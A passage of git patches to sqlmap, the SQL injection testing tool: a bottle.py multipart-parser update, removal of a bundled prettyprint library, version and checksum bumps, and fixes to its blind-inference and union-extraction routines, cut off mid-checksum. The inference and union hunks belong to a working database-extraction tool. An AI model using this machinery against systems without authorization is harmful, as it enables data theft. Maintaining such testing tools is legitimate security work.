overlay._delete_virtual(key) def _set_virtual(self, key, value): - """ Recursively set or update virtual keys. Do nothing if non-virtual - value is present. """ + """ Recursively set or update virtual keys. """ if key in self and key not in self._virtual_keys: return # Do nothing for non-virtual keys. @@ -2900,8 +2510,7 @@ def _set_virtual(self, key, value): overlay._set_virtual(key, value) def _delete_virtual(self, key): - """ Recursively delete virtual entry. Do nothing if key is not virtual. - """ + """ Recursively delete virtual entry. """ if key not in self._virtual_keys: return # Do nothing for non-virtual keys. @@ -2926,7 +2535,10 @@ def meta_get(self, key, metafield, default=None): return self._meta.get(key, {}).get(metafield, default) def meta_set(self, key, metafield, value): - """ Set the meta field for a key to a new value. """ + """ Set the meta field for a key to a new value. + + Meta-fields are shared between all members of an overlay tree. + """ self._meta.setdefault(key, {})[metafield] = value def meta_list(self, key): @@ -3127,7 +2739,7 @@ def open(self, name, mode='r', *args, **kwargs): class FileUpload(object): def __init__(self, fileobj, name, filename, headers=None): - """ Wrapper for file uploads. """ + """ Wrapper for a single file uploaded via ``multipart/form-data``. """ #: Open file(-like) object (BytesIO buffer or temporary file) self.file = fileobj #: Name of the upload form field @@ -3259,12 +2871,12 @@ def static_file(filename, root, ``If-None-Match``) are answered with ``304 Not Modified`` whenever possible. ``HEAD`` and ``Range`` requests (used by download managers to check or continue partial downloads) are also handled automatically. - """ root = os.path.join(os.path.abspath(root), '') filename = os.path.abspath(os.path.join(root, filename.strip('/\\'))) headers = headers.copy() if headers else {} + getenv = request.environ.get if not filename.startswith(root): return HTTPError(403, "Access denied.") @@ -3274,31 +2886,32 @@ def static_file(filename, root, return HTTPError(403, "You do not have permission to access this file.") if mimetype is True: - if download and download is not True: - mimetype, encoding = mimetypes.guess_type(download) - else: - mimetype, encoding = mimetypes.guess_type(filename) - if encoding: - headers['Content-Encoding'] = encoding + name = download if isinstance(download, str) else filename + mimetype, encoding = mimetypes.guess_type(name) + if encoding == 'gzip': + mimetype = 'application/gzip' + elif encoding: # e.g. bzip2 -> application/x-bzip2 + mimetype = 'application/x-' + encoding + + if charset and mimetype and 'charset=' not in mimetype \ + and (mimetype[:5] == 'text/' or mimetype == 'application/javascript'): + mimetype += '; charset=%s' % charset if mimetype: - if (mimetype[:5] == 'text/' or mimetype == 'application/javascript')\ - and charset and 'charset' not in mimetype: - mimetype += '; charset=%s' % charset headers['Content-Type'] = mimetype + if download is True: + download = os.path.basename(filename) + if download: - download = os.path.basename(filename if download is True else download) + download = download.replace('"','') headers['Content-Disposition'] = 'attachment; filename="%s"' % download stats = os.stat(filename) headers['Content-Length'] = clen = stats.st_size - headers['Last-Modified'] = email.utils.formatdate(stats.st_mtime, - usegmt=True) + headers['Last-Modified'] = email.utils.formatdate(stats.st_mtime, usegmt=True) headers['Date'] = email.utils.formatdate(time.time(), usegmt=True) - getenv = request.environ.get - if etag is None: etag = '%d:%d:%d:%d:%s' % (stats.st_dev, stats.st_ino, stats.st_mtime, clen, filename) @@ -3416,7 +3029,7 @@ def _parse_http_header(h): values.append((parts[0].strip(), {})) for attr in parts[1:]: name, value = attr.split('=', 1) - values[-1][1][name.strip()] = value.strip() + values[-1][1][name.strip().lower()] = value.strip() else: lop, key, attrs = ',', None, {} for quoted, plain, tok in _hsplit(h): @@ -3428,9 +3041,9 @@ def _parse_http_header(h): if tok == '=': key = value else: - attrs[value] = '' + attrs[value.strip().lower()] = '' elif lop == '=' and key: - attrs[key] = value + attrs[key.strip().lower()] = value key = None lop = tok return values @@ -3595,6 +3208,255 @@ def wrapper(*a, **ka): uninstall = make_default_app_wrapper('uninstall') url = make_default_app_wrapper('get_url') + +############################################################################### +# Multipart Handling ########################################################### +############################################################################### +# cgi.FieldStorage was deprecated in Python 3.11 and removed in 3.13 +# This implementation is based on https://github.com/defnull/multipart/ + + +class MultipartError(HTTPError): + def __init__(self, msg): + HTTPError.__init__(self, 400, "MultipartError: " + msg) + + +class _MultipartParser(object): + def __init__( + self, + stream, + boundary, + content_length=-1, + disk_limit=2 ** 30, + mem_limit=2 ** 20, + memfile_limit=2 ** 18, + buffer_size=2 ** 16, + charset="latin1", + ): + self.stream = stream + self.boundary = boundary + self.content_length = content_length + self.disk_limit = disk_limit + self.memfile_limit = memfile_limit + self.mem_limit = min(mem_limit, self.disk_limit) + self.buffer_size = min(buffer_size, self.mem_limit) + self.charset = charset + + if not boundary: + raise MultipartError("No boundary.") + + if self.buffer_size - 6 < len(boundary): # "--boundary--\r\n" + raise MultipartError("Boundary does not fit into buffer_size.") + + def _lineiter(self): + """ Iterate over a binary file-like object (crlf terminated) line by + line. Each line is returned as a (line, crlf) tuple. Lines larger + than buffer_size are split into chunks where all but the last chunk + has an empty string instead of crlf. Maximum chunk size is twice the + buffer size. + """ + + read = self.stream.read + maxread, maxbuf = self.content_length, self.buffer_size + partial = b"" # Contains the last (partial) line + + while True: + chunk = read(maxbuf if maxread < 0 else min(maxbuf, maxread)) + maxread -= len(chunk) + if not chunk: + if partial: + yield partial, b'' + break + + if partial: + chunk = partial + chunk + + scanpos = 0 + while True: + i = chunk.find(b'\r\n', scanpos) + if i >= 0: + yield chunk[scanpos:i], b'\r\n' + scanpos = i + 2 + else: # CRLF not found + partial = chunk[scanpos:] if scanpos else chunk + break + + if len(partial) > maxbuf: + yield partial[:-1], b"" + partial = partial[-1:] + + def parse(self): + """ Return a MultiPart iterator. Can only be called once. """ + + lines, line = self._lineiter(), "" + separator = b"--" + tob(self.boundary) + terminator = separator + b"--" + mem_used, disk_used = 0, 0 # Track used resources to prevent DoS + is_tail = False # True if the last line was incomplete (cutted) + + # Consume first boundary. Ignore any preamble, as required by RFC + # 2046, section 5.1.1. + for line, nl in lines: + if line in (separator, terminator): + break + else: + raise MultipartError("Stream does not contain boundary") + + # First line is termainating boundary -> empty multipart stream + if line == terminator: + for _ in lines: + raise MultipartError("Found data after empty multipart stream") + return + + part_options = { + "buffer_size": self.buffer_size, + "memfile_limit": self.memfile_limit, + "charset": self.charset, + } + part = _MultipartPart(**part_options) + + for line, nl in lines: + if not is_tail and (line == separator or line == terminator): + part.finish() + if part.is_buffered(): + mem_used += part.size + else: + disk_used += part.size + yield part + if line == terminator: + break + part = _MultipartPart(**part_options) + else: + is_tail = not nl # The next line continues this one + try: + part.feed(line, nl) + if part.is_buffered(): + if part.size + mem_used > self.mem_limit: + raise MultipartError("Memory limit reached.") + elif part.size + disk_used > self.disk_limit: + raise MultipartError("Disk limit reached.") + except MultipartError: + part.close() + raise + else: + part.close() + + if line != terminator: + raise MultipartError("Unexpected end of multipart stream.") + + +class _MultipartPart(object): + def __init__(self, buffer_size=2 ** 16, memfile_limit=2 ** 18, charset="latin1"): + self.headerlist = [] + self.headers = None + self.file = False + self.size = 0 + self._buf = b"" + self.disposition = None + self.name = None + self.filename = None + self.content_type = None + self.charset = charset + self.memfile_limit = memfile_limit + self.buffer_size = buffer_size + + def feed(self, line, nl=""): + if self.file: + return self.write_body(line, nl) + return self.write_header(line, nl) + + def write_header(self, line, nl): + line = line.decode(self.charset) + + if not nl: + raise MultipartError("Unexpected end of line in header.") + + if not line.strip(): # blank line -> end of header segment + self.finish_header() + elif line[0] in " \t" and self.headerlist: + name, value = self.headerlist.pop() + self.headerlist.append((name, value + line.strip())) + else: + if ":" not in line: + raise MultipartError("Syntax error in header: No colon.") + + name, value = line.split(":", 1) + self.headerlist.append((name.strip(), value.strip())) + + def write_body(self, line, nl): + if not line and not nl: + return # This does not even flush the buffer + + self.size += len(line) + len(self._buf) + self.file.write(self._buf + line) + self._buf = nl + + if self.content_length > 0 and self.size > self.content_length: + raise MultipartError("Size of body exceeds Content-Length header.") + + if self.size > self.memfile_limit and isinstance(self.file, BytesIO): + self.file, old = NamedTemporaryFile(mode="w+b"), self.file + old.seek(0) + + copied, maxcopy, chunksize = 0, self.size, self.buffer_size + read, write = old.read, self.file.write + while copied < maxcopy: + chunk = read(min(chunksize, maxcopy - copied)) + write(chunk) + copied += len(chunk) + + def finish_header(self): + self.file = BytesIO() + self.headers = HeaderDict(self.headerlist) + content_disposition = self.headers.get("Content-Disposition") + content_type = self.headers.get("Content-Type") + + if not content_disposition: + raise MultipartError("Content-Disposition header is missing.") + + self.disposition, self.options = _parse_http_header(content_disposition)[0] + self.name = self.options.get("name") + if "filename" in self.options: + self.filename = self.options.get("filename") + if self.filename[1:3] == ":\\" or self.filename[:2] == "\\\\": + self.filename = self.filename.split("\\")[-1] # ie6 bug + + self.content_type, options = _parse_http_header(content_type)[0] if content_type else (None, {}) + self.charset = options.get("charset") or self.charset + + self.content_length = int(self.headers.get("Content-Length", "-1")) + + def finish(self): + if not self.file: + raise MultipartError("Incomplete part: Header section not closed.") + self.file.seek(0) + + def is_buffered(self): + """ Return true if the data is fully buffered in memory.""" + return isinstance(self.file, BytesIO) + + @property + def value(self): + """ Data decoded with the specified charset """ + + return self.raw.decode(self.charset) + + @property + def raw(self): + """ Data without decoding """ + pos = self.file.tell() + self.file.seek(0) + + try: + return self.file.read() + finally: + self.file.seek(pos) + + def close(self): + if self.file: + self.file.close() + self.file = False + ############################################################################### # Server Adapter ############################################################### ############################################################################### @@ -4811,5 +4673,9 @@ def _cli_error(cli_msg): config=config) -if __name__ == '__main__': # pragma: no coverage +def main(): _main(sys.argv) + + +if __name__ == '__main__': # pragma: no coverage + main() From 264095aa97ae060cba0e5d5a7f69b4182814168f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 Jan 2026 16:51:34 +0100 Subject: [PATCH 049/135] Removing some dead code --- data/txt/sha256sums.txt | 8 +-- doc/THANKS.md | 3 - doc/THIRD-PARTY.md | 2 - lib/core/settings.py | 2 +- thirdparty/prettyprint/__init__.py | 26 ------- thirdparty/prettyprint/prettyprint.py | 97 --------------------------- 6 files changed, 4 insertions(+), 134 deletions(-) delete mode 100644 thirdparty/prettyprint/__init__.py delete mode 100644 thirdparty/prettyprint/prettyprint.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 22e3a0d7498..3dac3906ccc 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -88,8 +88,8 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260 data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md -7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md -8235d0e15b9334a4395920cd6be696cc94afdb6e96ab171c60dba1bd10a88949 doc/THIRD-PARTY.md +c8d5733111c6d1e387904bc14e98815f98f816f6e73f6a664de24c0f1d331d9b doc/THANKS.md +d7e38b213c70fe519fff2e06a9fd0dcfb1d8bed7787e37916cd14faaf002e167 doc/THIRD-PARTY.md 25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -16d96507edb5b7f71e27aeeed12ec9030a6ccf438046eb2719e65087dd5c474f lib/core/settings.py +4267b95315e5351fa06aa27c883e187186adc3709e50acedf10079fd611dbb8d lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -627,8 +627,6 @@ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/mul 2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py 9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py -691ae693e3a33dd730930492ff9e7e3bdec45e90e3a607b869a37ecd0354c2d8 thirdparty/prettyprint/__init__.py -8df6e8c60eac4c83b1bf8c4e0e0276a4caa3c5f0ca57bc6a2116f31f19d3c33f thirdparty/prettyprint/prettyprint.py 3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py 4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py diff --git a/doc/THANKS.md b/doc/THANKS.md index 36d8572620d..62d4ba136cf 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -194,9 +194,6 @@ David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features -Chris Hall, -* for coding the prettyprint.py library - Tate Hansen, * for donating to sqlmap development diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 63c3bb98e6e..03c0c01e8f4 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -15,8 +15,6 @@ This file lists bundled packages and their associated licensing terms. Copyright (C) 2013, Jonathan Hartley. * The `Fcrypt` library located under `thirdparty/fcrypt/`. Copyright (C) 2000, 2001, 2004 Carey Evans. -* The `PrettyPrint` library located under `thirdparty/prettyprint/`. - Copyright (C) 2010, Chris Hall. * The `SocksiPy` library located under `thirdparty/socks/`. Copyright (C) 2006, Dan-Haim. diff --git a/lib/core/settings.py b/lib/core/settings.py index fa4bbf2a92e..1b48995cfd8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.46" +VERSION = "1.10.1.47" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/prettyprint/__init__.py b/thirdparty/prettyprint/__init__.py deleted file mode 100644 index 1f9e1434354..00000000000 --- a/thirdparty/prettyprint/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -pass diff --git a/thirdparty/prettyprint/prettyprint.py b/thirdparty/prettyprint/prettyprint.py deleted file mode 100644 index 586d808114a..00000000000 --- a/thirdparty/prettyprint/prettyprint.py +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -from xml.dom import minidom -from xml.dom import Node - -def format(text): - doc = minidom.parseString(text) - root = doc.childNodes[0] - return root.toprettyxml(indent=' ') - -def formatXML(doc, encoding=None): - root = doc.childNodes[0] - return root.toprettyxml(indent=' ', encoding=encoding) - -def _patch_minidom(): - minidom.Text.writexml = _writexml_text - minidom.Element.writexml = _writexml_element - minidom.Node.toprettyxml = _toprettyxml_node - -def _collapse(node): - for child in node.childNodes: - if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0: - child.data = '' - else: - _collapse(child) - -def _writexml_text(self, writer, indent="", addindent="", newl=""): - minidom._write_data(writer, "%s"%(self.data.strip())) - -def _writexml_element(self, writer, indent="", addindent="", newl=""): - # indent = current indentation - # addindent = indentation to add to higher levels - # newl = newline string - writer.write(indent+"<" + self.tagName) - - attrs = self._get_attributes() - a_names = attrs.keys() - a_names.sort() - - for a_name in a_names: - writer.write(" %s=\"" % a_name) - minidom._write_data(writer, attrs[a_name].value) - writer.write("\"") - if self.childNodes: - if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write(">") - else: - writer.write(">%s"%(newl)) - for node in self.childNodes: - node.writexml(writer,indent+addindent,addindent,newl) - if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write("%s" % (self.tagName,newl)) - else: - writer.write("%s%s" % (indent,self.tagName,newl)) - else: - writer.write("/>%s"%(newl)) - -def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None): - _collapse(self) - # indent = the indentation string to prepend, per level - # newl = the newline string to append - writer = minidom._get_StringIO() - if encoding is not None: - import codecs - # Can't use codecs.getwriter to preserve 2.0 compatibility - writer = codecs.lookup(encoding)[3](writer) - if self.nodeType == Node.DOCUMENT_NODE: - # Can pass encoding only to document, to put it into XML header - self.writexml(writer, "", indent, newl, encoding) - else: - self.writexml(writer, "", indent, newl) - return writer.getvalue() - -_patch_minidom() From 648752c50879e3bc495537eca83c85b4e9077bae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 17 Jan 2026 22:29:20 +0100 Subject: [PATCH 050/135] Couple of patches --- data/txt/sha256sums.txt | 8 ++++---- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 18 ++++++++++++------ lib/techniques/union/use.py | 5 +++-- 5 files changed, 21 insertions(+), 14 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3dac3906ccc..be076f38b29 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py -3f1fbe7c15b929db81097d10c2897eb1e711f158de51ef9041b4c74e11f3f1d8 lib/core/common.py +a71a00c5c3efbc259087d90358a0665af15034454455dbd5b02b7451748f7371 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4267b95315e5351fa06aa27c883e187186adc3709e50acedf10079fd611dbb8d lib/core/settings.py +ff964b7b3c344643643dd3235e17ea7e2219bac3d275cc721df243a299e0f77b lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -231,7 +231,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r f6e5d6e2ff368fa39943b2302982f33c47eb9a12d01419bef50fcf934b2bce34 lib/takeover/udf.py 4b5ff4fcfa25454e6a93600d32af42a69bd59151639f569c01920c8610a99656 lib/takeover/web.py 14179e5273378ec8d63660a87c5cb07a42b61a6fceb7f3bb494a7b5ce10ce2cb lib/takeover/xp_cmdshell.py -e29a4054bb5285ba63ae2c0b2c05c8a15b80ec5719ddc4559baa0772d70f24b9 lib/techniques/blind/inference.py +ea78a1e2c94073292664dff6cfb3da2836cc9114fb5f90a3de889fcc7c87dd3d lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -241,7 +241,7 @@ f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py -77d2404e5b23fa419113de963bf9eb207582d1548fb0d3f36876d198785c88c3 lib/techniques/union/use.py +a17c1d201bd084de0093254bcd303aa859399891de13a7259e8c200e98294efb lib/techniques/union/use.py 67dff80a17503b91c8ff93788ccc037b6695aa18b0793894b42488cbb21c4c83 lib/utils/api.py ea5e14f8c9d74b0fb17026b14e3fb70ee90e4046e51ab2c16652d86b3ca9b949 lib/utils/brute.py 3fa1b9fd57ff47c6a283e8381bf70259dce57bb2327f99d8cb56450f1acf2d46 lib/utils/crawler.py diff --git a/lib/core/common.py b/lib/core/common.py index 150a4f4eedf..0f7a8537fd6 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2065,7 +2065,7 @@ def getCharset(charsetType=None): # Digits elif charsetType == CHARSET_TYPE.DIGITS: - asciiTbl.extend((0, 9)) + asciiTbl.extend(xrange(0, 10)) asciiTbl.extend(xrange(47, 58)) # Hexadecimal diff --git a/lib/core/settings.py b/lib/core/settings.py index 1b48995cfd8..211c6e5f470 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.47" +VERSION = "1.10.1.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index d7b7801ff8a..ab69c170e6e 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -471,13 +471,16 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, bit = 0 while len(candidates) > 1: bits = {} + maxCandidate = max(candidates) + maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1 + for candidate in candidates: - bit = 0 - while candidate: + for bit in xrange(maxBits): bits.setdefault(bit, 0) - bits[bit] += 1 if candidate & 1 else -1 - candidate >>= 1 - bit += 1 + if candidate & (1 << bit): + bits[bit] += 1 + else: + bits[bit] -= 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice @@ -499,7 +502,10 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, incrementCounter(getTechnique()) if result: - return decodeIntToUnicode(candidates[0]) + if candidates[0] == 0: # Trailing zeros + return None + else: + return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 49928e7a9b0..b544b56acde 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -121,9 +121,10 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): fields = list(json_data[0].keys()) if fields: - retVal = "" + parts = [] for row in json_data: - retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop) + parts.append("%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop)) + retVal = "".join(parts) except: retVal = None else: From 568e9f0d376d24f2aea321fdab68a74a64d3faf0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 17 Jan 2026 22:39:57 +0100 Subject: [PATCH 051/135] Bug fix --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index be076f38b29..3e9af742d5e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ff964b7b3c344643643dd3235e17ea7e2219bac3d275cc721df243a299e0f77b lib/core/settings.py +6fd593ad0a21aed2aa76f29d4803d1ab365d097cb2b2ba45763ba93e446d9c77 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -231,7 +231,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r f6e5d6e2ff368fa39943b2302982f33c47eb9a12d01419bef50fcf934b2bce34 lib/takeover/udf.py 4b5ff4fcfa25454e6a93600d32af42a69bd59151639f569c01920c8610a99656 lib/takeover/web.py 14179e5273378ec8d63660a87c5cb07a42b61a6fceb7f3bb494a7b5ce10ce2cb lib/takeover/xp_cmdshell.py -ea78a1e2c94073292664dff6cfb3da2836cc9114fb5f90a3de889fcc7c87dd3d lib/techniques/blind/inference.py +69928272eed889033e106527f88454dc844bfbb375fcf7c22d5f76ee30c62c9b 